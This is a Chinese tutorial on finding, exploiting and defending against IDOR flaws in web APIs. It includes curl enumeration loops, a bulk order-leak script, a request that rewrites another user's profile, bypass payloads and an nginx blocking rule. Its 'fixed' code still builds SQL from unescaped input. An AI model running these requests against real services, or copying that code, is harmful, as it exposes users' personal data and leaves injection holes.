适合人群:初级渗透测试工程师、安全开发者
前置知识:HTTP基础、RESTful API概念、Burp Suite基本使用
一、前置准备
环境搭建
# 1. 安装靶场 - DVWA + IDOR模块
docker pull vulnerables/web-dvwa
# 2. 或使用在线靶场
# PortSwigger IDOR实验室: https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references
# 3. 工具准备
pip install requests arjun httpx # API枚举和测试
核心检测思路
IDOR(Insecure Direct Object Reference)本质是:服务端暴露了内部对象的直接引用(如ID/uid/filename参数),且未对用户权限做校验。攻击者只需修改参数值,就能访问或操作不属于自己的数据。
正常请求:/api/user/info?user_id=1001 → 返回我的资料
越权请求:/api/user/info?user_id=1002 → 返回别人的资料(IDOR!)
二、核心原理
2.1 IDOR 的本质
IDOR 是访问控制失效的一种具体表现形式。关键区别:
| 概念 | 区别 |
|---|---|
| 水平越权 | 同级用户之间互相访问(A用户看B用户的订单) |
| 垂直越权 | 低权限访问高权限功能(普通用户调用管理员接口) |
| IDOR | 通过修改对象标识符实现越权(通常需搭配水平/垂直越权) |
2.2 为什么会出现IDOR
90%的IDOR源于开发者的一种错误假设:"用户不会主动修改参数值"。典型场景:
# ❌ 漏洞代码:只验证了登录状态,没验证对象所有权
@app.route('/api/order/<order_id>')
def get_order(order_id):
# 只检查了有没有token
if not request.headers.get('Authorization'):
return 'Unauthorized', 401
# 直接查询并返回,没检查这个订单是否属于当前用户
order = db.query(f"SELECT * FROM orders WHERE id = {order_id}")
return jsonify(order)
# ✅ 修复代码:验证对象所有权
@app.route('/api/order/<order_id>')
def get_order(order_id):
user = get_current_user()
# 带上user_id条件查询
order = db.query(f"SELECT * FROM orders WHERE id = {order_id} AND user_id = {user.id}")
if not order:
return 'Not Found', 404
return jsonify(order)
三、实操步骤
3.1 发现IDOR — 5种定位方法
方法1:手动参数枚举(最基础)
用Burp Suite拦截请求,重点关注:
GET /api/profile?id=1001
GET /api/v1/user/12345
GET /download?file=invoice_1001.pdf
POST /api/transfer?from_account=1001&to_account=2002&amount=100
逐级遍历参数值,对比响应差异:
# 枚举用户ID
for id in $(seq 1001 1010); do
echo "=== ID: $id ==="
curl -s -H "Cookie: session=xxx" "https://target.com/api/profile?id=$id"
done
方法2:GUID/UUID碰撞
有些系统用GUID替代自增ID,但依然存在泄露风险:
# 场景:GUID在客户端泄露
# 订单URL: https://target.com/order/a1b2c3d4-e5f6-7890-abcd-ef1234567890
# 查看页面源码或网络请求,找其他用户的GUID
curl -s "https://target.com/api/orders?page=1" | jq '.orders[].id'
方法3:Base64编码参数
很多开发者以为Base64编码就安全了:
# 请求:/api/user?id=MTAwMQ== → 解码 → "1001"
echo "MTAwMQ==" | base64 -d
# 修改为其他用户的ID再编码
echo -n "1002" | base64
方法4:哈希/不可逆编码参数的绕过
# 场景:/api/document?hash=abc123def456
# 如果能找到hash生成的算法(如MD5(id)),就可以自己生成
echo -n "1002" | md5sum
方法5:自动化扫描
# 使用Autorize (Burp插件) 自动测试越权
# 原理:低权限Cookie替换为高权限Cookie,对比响应
# 或用Authz插件批量测试
3.2 IDOR利用 — 4个实战场景
场景1:水平越权 — 查看他人订单
# 正常请求
curl -s -b "session=USER_A_SESSION" \
"https://target.com/api/order?id=ORD-20260628-001" | jq .
# 越权尝试 - 遍历订单号格式
curl -s -b "session=USER_A_SESSION" \
"https://target.com/api/order?id=ORD-20260628-002" | jq .
# 如果返回了USER_B的订单 → IDOR漏洞
场景2:垂直越权 — 普通用户调用管理接口
# 正常用户看自己的信息
curl -s "https://target.com/api/user/me" | jq .
# 尝试调用管理端点
curl -s "https://target.com/api/admin/users" | jq .
# 401 → 有认证
curl -s -b "session=USER_SESSION" "https://target.com/api/admin/users" | jq .
# 如果返回了全部用户列表 → IDOR(垂直越权)
场景3:批量数据泄露
#!/bin/bash
# 批量枚举订单ID
for id in $(seq 1000 2000); do
resp=$(curl -s -b "session=USER_SESSION" \
"https://target.com/api/order?id=$id")
if echo "$resp" | grep -q '"status":"success"'; then
echo "ORDER $id: $resp"
fi
done > leaked_orders.json
场景4:修改他人数据
# POST / PUT 同样存在IDOR
# 修改他人资料
curl -X PUT -b "session=USER_A_SESSION" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","phone":"1XX XXXX XXXX"}' \
"https://target.com/api/user/profile?uid=1002"
四、绕过技术
4.1 参数混淆绕过
有些WAF检查id参数但没检查user_id:
# 双参数注入 — 后端取最后一个
GET /api/order?id=1001&id=1002
# Node.js (express) 取最后一个
# PHP (parse_str) 取最后一个
# ASP.NET 取第一个
# Python (request.args.getlist) 返回数组
# 另一种:JSON参数覆盖
POST /api/order
Content-Type: application/json
{"id": 1001, "user_id": null, "order": {"id": 1002}}
4.2 类型混淆绕过
# 用数组/对象代替数值
GET /api/user?id[]=1001
GET /api/user?id=1001&id=1002
GET /api/user?id={"$gt": 0}
4.3 HTTP方法篡改
# 如果GET有限制,试试HEAD/OPTIONS/PATCH
OPTIONS /api/order/1002
HEAD /api/order/1002
4.4 通配符/特殊值
# 有些系统有"管理"通配符
GET /api/user?id=admin
GET /api/user?id=0
GET /api/user?id=-1
GET /api/user?id=*
GET /api/user?id=all
GET /api/user?user_id=%00 # 空字节截断
五、实战案例复盘
案例1:电商平台订单泄露(水平越权)
背景:某跨境电商平台,订单编号格式为 ORD-{timestamp}-{user_id}
漏洞发现:
- 用户A登录后查看订单:
/api/order/detail?order_no=ORD-1719561600-1001 - 修改
user_id为1002:/api/order/detail?order_no=ORD-1719561600-1002 - 返回了用户B的订单信息(收货地址、手机号、商品详情)
影响:可遍历所有用户订单,泄露28万条个人数据
案例2:企业内部系统垂直越权
背景:某HR系统的API设计
# 普通员工可以查看自己的档案
GET /api/hr/employee/self → 返回我的信息
# 但API实际实现是:
GET /api/hr/employee/1001 # 参数是员工工号
# 普通员工直接修改工号就能看别人的档案
GET /api/hr/employee/1002 # 看到CEO的薪资信息
影响:年薪数据、手机号、家庭住址、银行账号全部泄露
六、防御建议
6.1 服务端防御(核心)
# 1. 对象所有权检查 — 黄金法则
def get_document(document_id):
user = get_current_user()
doc = Document.query.filter_by(
id=document_id,
owner_id=user.id # 关键:加上归属条件
).first()
if not doc:
abort(404) # 不要暴露是"不存在"还是"无权访问"
return doc
# 2. 使用非可预测标识符
# ❌ 自增ID: /api/order?id=1001
# ✅ UUID: /api/order?id=a1b2c3d4-e5f6-7890-abcd-ef1234567890
# 3. 服务端存储关系映射
# ❌ 客户端传user_id
# ✅ 服务端从session拿user_id
6.2 自动化检测(CI/CD集成)
# 在GitHub Actions中加入IDOR检测
- name: IDOR Scan
run: |
pip install autorize-cli
autorize scan --base-url ${{ secrets.STAGING_URL }} \
--user-token ${{ secrets.USER_TOKEN }} \
--admin-token ${{ secrets.ADMIN_TOKEN }}
6.3 WAF规则示例
# nginx层面阻止参数遍历
location /api/ {
# 限制单个IP的请求频率
limit_req zone=api burst=10 nodelay;
# 阻止明显遍历行为
if ($args ~* "id={.*}|id=%00|id=-1") {
return 403;
}
}
七、常见陷阱
| # | 陷阱 | 说明 |
|---|---|---|
| 1 | "用户不懂修改参数" | 最天真的假设。Burp/F12/curl谁都能改 |
| 2 | "隐藏了链接就安全" | security by obscurity 永远是纸糊的墙 |
| 3 | "用GUID就安全" | GUID泄露后一样能IDOR(订单分享功能就是天然泄露源) |
| 4 | "前端已过滤用户参数" | 后端不信前端,这是安全第一课 |
| 5 | "只测了GET没测POST" | IDOR在POST/PUT/DELETE中同样常见 |
| 6 | "返回404就安全" | 响应大小/响应时间/错误信息差异可被用于侧信道判定 |
| 7 | "刚注册的测试账号测不出" | 有些系统只在首次访问时校验权限,之后缓存结果 |
八、总结(含速查表)
IDOR检测速查表
| 检测点 | 操作 | Payload示例 |
|---|---|---|
| 数字ID | 递增/递减 | id=1001 → id=1002 |
| GUID/UUID | 从其他请求获取 | uuid=... → 用另一个用户的uuid |
| Base64 | 解码→修改→重编码 | token=MTAwMQ== → 转MTAwMg== |
| 哈希参数 | 找回哈希算法 | hash=md5(1001) → hash=md5(1002) |
| 数组参数 | 类型混淆 | id=1001 → id[]=1001&id[]=1002 |
| 特殊值 | 通配符尝试 | id=all, id=admin, id=0, id=-1 |
| HTTP方法 | 方法篡改 | GET→POST/PUT/OPTIONS/HEAD |
| 批量端点 | 检查分页参数 | /api/orders?page=2&limit=100 |
一句话记住IDOR
"如果能改个ID就拿到别人数据,那这就是IDOR。"
防御口诀:后端永远从session拿用户身份,永远!永远!!永远!!!不要信客户端传的user_id。